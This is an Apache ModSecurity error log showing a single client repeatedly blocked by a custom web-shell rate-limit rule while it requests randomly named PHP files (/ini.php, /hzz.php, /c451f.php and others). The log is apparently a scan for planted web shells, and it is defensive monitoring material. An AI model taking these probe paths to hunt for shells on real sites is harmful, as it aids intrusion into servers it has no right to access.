[Sat Dec 13 00:05:38.862441 2025] [:error] [pid 26607:tid 26630] [client 4.193.186.94:20793] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ini.php"] [unique_id "aTw9Usb_b0tOEWTL2KnGOwAAANU"]
[Sat Dec 13 00:05:40.043790 2025] [:error] [pid 60649:tid 60658] [client 4.193.186.94:20805] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ini.php"] [unique_id "aTw9VFOcUGKU3sgfHP8isAAAAQY"]
[Sat Dec 13 00:05:40.912645 2025] [:error] [pid 26607:tid 26632] [client 4.193.186.94:20806] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ini.php"] [unique_id "aTw9VMb_b0tOEWTL2KnGPgAAANc"]
[Sat Dec 13 00:05:41.456311 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:20922] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ini.php"] [unique_id "aTw9VYVLRvkrdsSc1F3NjgAAAUs"]
[Sat Dec 13 00:05:41.852612 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:20920] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hzz.php"] [unique_id "aTw9VVObDQlftFDyGaxGyAAAAZU"]
[Sat Dec 13 00:05:42.157226 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:20792] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hzz.php"] [unique_id "aTw9Vs8TRgSGOeWqEhcVrAAAAAQ"]
[Sat Dec 13 00:05:42.561917 2025] [:error] [pid 60649:tid 60663] [client 4.193.186.94:20745] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hzz.php"] [unique_id "aTw9VlOcUGKU3sgfHP8isgAAAQs"]
[Sat Dec 13 00:05:42.887880 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:20757] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hzz.php"] [unique_id "aTw9VpdhcAPU617AKTDEnAAAAIA"]
[Sat Dec 13 00:05:43.130900 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:35227] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aTw9V5dhcAPU617AKTDEnQAAAJE"]
[Sat Dec 13 00:05:43.585875 2025] [:error] [pid 60649:tid 60662] [client 4.193.186.94:20987] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aTw9V1OcUGKU3sgfHP8itAAAAQo"]
[Sat Dec 13 00:05:43.976487 2025] [:error] [pid 26520:tid 26576] [client 4.193.186.94:20803] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aTw9V0G_frlY5vNXu_AgngAAAFg"]
[Sat Dec 13 00:05:44.223424 2025] [:error] [pid 60649:tid 60669] [client 4.193.186.94:20822] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aTw9WFOcUGKU3sgfHP8itQAAARE"]
[Sat Dec 13 00:05:44.456459 2025] [:error] [pid 26519:tid 26539] [client 4.193.186.94:20769] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aTw9WM8TRgSGOeWqEhcVtQAAABA"]
[Sat Dec 13 00:05:44.703937 2025] [:error] [pid 26521:tid 26583] [client 4.193.186.94:21325] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aTw9WJdhcAPU617AKTDEngAAAIQ"]
[Sat Dec 13 00:05:44.955882 2025] [:error] [pid 55760:tid 55765] [client 4.193.186.94:20827] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aTw9WFObDQlftFDyGaxGzQAAAYM"]
[Sat Dec 13 00:05:45.395284 2025] [:error] [pid 26607:tid 26627] [client 4.193.186.94:21531] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aTw9Wcb_b0tOEWTL2KnGRAAAANI"]
[Sat Dec 13 00:05:45.691324 2025] [:error] [pid 60649:tid 60652] [client 4.193.186.94:20963] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kki.php"] [unique_id "aTw9WVOcUGKU3sgfHP8itgAAAQA"]
[Sat Dec 13 00:05:45.957936 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:20918] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kki.php"] [unique_id "aTw9WYVLRvkrdsSc1F3NlgAAAUw"]
[Sat Dec 13 00:05:46.622480 2025] [:error] [pid 26607:tid 26629] [client 4.193.186.94:20736] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kki.php"] [unique_id "aTw9Wsb_b0tOEWTL2KnGRQAAANQ"]
[Sat Dec 13 00:05:46.952662 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:20924] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kki.php"] [unique_id "aTw9WpdhcAPU617AKTDEpAAAAIU"]
[Sat Dec 13 00:05:47.324116 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:20837] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file88.php"] [unique_id "aTw9W1ObDQlftFDyGaxG0QAAAYE"]
[Sat Dec 13 00:05:47.643236 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:20772] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file88.php"] [unique_id "aTw9W1OcUGKU3sgfHP8iuwAAAQ8"]
[Sat Dec 13 00:05:47.933025 2025] [:error] [pid 27950:tid 27969] [client 4.193.186.94:20739] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file88.php"] [unique_id "aTw9W4VLRvkrdsSc1F3NmgAAAVE"]
[Sat Dec 13 00:05:48.202244 2025] [:error] [pid 26519:tid 26536] [client 4.193.186.94:20774] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file88.php"] [unique_id "aTw9XM8TRgSGOeWqEhcVtwAAAA0"]
[Sat Dec 13 00:05:48.499786 2025] [:error] [pid 27950:tid 27953] [client 4.193.186.94:35202] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aTw9XIVLRvkrdsSc1F3NmwAAAUE"]
[Sat Dec 13 00:05:48.907948 2025] [:error] [pid 55760:tid 55762] [client 4.193.186.94:20834] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aTw9XFObDQlftFDyGaxG1QAAAYA"]
[Sat Dec 13 00:05:49.357525 2025] [:error] [pid 26520:tid 26561] [client 4.193.186.94:20891] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aTw9XUG_frlY5vNXu_AgpQAAAEk"]
[Sat Dec 13 00:05:49.857735 2025] [:error] [pid 26520:tid 26572] [client 4.193.186.94:21526] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aTw9XUG_frlY5vNXu_AgpgAAAFQ"]
[Sat Dec 13 00:05:50.175455 2025] [:error] [pid 60649:tid 60669] [client 4.193.186.94:20850] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "aTw9XlOcUGKU3sgfHP8iyAAAARE"]
[Sat Dec 13 00:05:50.795495 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:35262] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "aTw9Xs8TRgSGOeWqEhcVugAAAAQ"]
[Sat Dec 13 00:05:51.761990 2025] [:error] [pid 55760:tid 55777] [client 4.193.186.94:35206] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "aTw9X1ObDQlftFDyGaxG2QAAAY8"]
[Sat Dec 13 00:05:52.871020 2025] [:error] [pid 27950:tid 27960] [client 4.193.186.94:21533] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "aTw9YIVLRvkrdsSc1F3NoAAAAUg"]
[Sat Dec 13 00:05:53.252473 2025] [:error] [pid 27950:tid 27973] [client 4.193.186.94:21340] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fns.php"] [unique_id "aTw9YYVLRvkrdsSc1F3NoQAAAVU"]
[Sat Dec 13 00:05:53.642498 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:20780] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fns.php"] [unique_id "aTw9YYVLRvkrdsSc1F3NpAAAAVg"]
[Sat Dec 13 00:05:54.046234 2025] [:error] [pid 27950:tid 27955] [client 4.193.186.94:20783] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fns.php"] [unique_id "aTw9YoVLRvkrdsSc1F3NpQAAAUM"]
[Sat Dec 13 00:05:54.312784 2025] [:error] [pid 26607:tid 26623] [client 4.193.186.94:20950] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fns.php"] [unique_id "aTw9Ysb_b0tOEWTL2KnGTAAAAM4"]
[Sat Dec 13 00:05:54.659932 2025] [:error] [pid 26521:tid 26581] [client 4.193.186.94:35218] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadis.php"] [unique_id "aTw9YpdhcAPU617AKTDE7AAAAII"]
[Sat Dec 13 00:05:55.117055 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:20878] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadis.php"] [unique_id "aTw9Y5dhcAPU617AKTDE7gAAAJc"]
[Sat Dec 13 00:05:55.439961 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:35210] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadis.php"] [unique_id "aTw9Y1ObDQlftFDyGaxG4AAAAYY"]
[Sat Dec 13 00:05:55.707208 2025] [:error] [pid 55760:tid 55778] [client 4.193.186.94:20809] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadis.php"] [unique_id "aTw9Y1ObDQlftFDyGaxG4gAAAZA"]
[Sat Dec 13 00:05:56.394997 2025] [:error] [pid 55760:tid 55771] [client 4.193.186.94:21529] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c451f.php"] [unique_id "aTw9ZFObDQlftFDyGaxG5QAAAYk"]
[Sat Dec 13 00:05:57.002222 2025] [:error] [pid 27950:tid 27961] [client 4.193.186.94:20764] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c451f.php"] [unique_id "aTw9ZYVLRvkrdsSc1F3NqQAAAUk"]
[Sat Dec 13 00:05:57.660287 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:35225] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c451f.php"] [unique_id "aTw9ZVObDQlftFDyGaxG6wAAAZI"]
[Sat Dec 13 00:05:58.494820 2025] [:error] [pid 55760:tid 55764] [client 4.193.186.94:21512] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c451f.php"] [unique_id "aTw9ZlObDQlftFDyGaxG7gAAAYI"]
[Sat Dec 13 00:05:58.689869 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:20798] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/031.php"] [unique_id "aTw9ZpdhcAPU617AKTDE9wAAAJI"]
[Sat Dec 13 00:05:59.210655 2025] [:error] [pid 26520:tid 26556] [client 4.193.186.94:20765] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/031.php"] [unique_id "aTw9Z0G_frlY5vNXu_AgsgAAAEQ"]
[Sat Dec 13 00:05:59.630520 2025] [:error] [pid 27950:tid 27972] [client 4.193.186.94:20771] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/031.php"] [unique_id "aTw9Z4VLRvkrdsSc1F3NrwAAAVQ"]
[Sat Dec 13 00:06:00.137990 2025] [:error] [pid 27950:tid 27973] [client 4.193.186.94:20831] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/031.php"] [unique_id "aTw9aIVLRvkrdsSc1F3NswAAAVU"]
[Sat Dec 13 00:06:01.103105 2025] [:error] [pid 26520:tid 26555] [client 4.193.186.94:20744] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loi.php"] [unique_id "aTw9aUG_frlY5vNXu_AgtgAAAEM"]
[Sat Dec 13 00:06:01.482230 2025] [:error] [pid 26519:tid 26532] [client 4.193.186.94:20853] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loi.php"] [unique_id "aTw9ac8TRgSGOeWqEhcVxwAAAAk"]
[Sat Dec 13 00:06:01.763978 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:20826] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loi.php"] [unique_id "aTw9ac8TRgSGOeWqEhcVyQAAAAQ"]
[Sat Dec 13 00:06:01.966308 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:35252] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loi.php"] [unique_id "aTw9aZdhcAPU617AKTDE-QAAAJc"]
[Sat Dec 13 00:06:02.520563 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:20785] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aTw9apdhcAPU617AKTDE_wAAAJQ"]
[Sat Dec 13 00:06:02.914374 2025] [:error] [pid 55760:tid 55766] [client 4.193.186.94:20799] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aTw9alObDQlftFDyGaxG9AAAAYQ"]
[Sat Dec 13 00:06:03.202521 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:20782] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aTw9a88TRgSGOeWqEhcVywAAABQ"]
[Sat Dec 13 00:06:03.493399 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:20781] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aTw9a5dhcAPU617AKTDFAwAAAIs"]
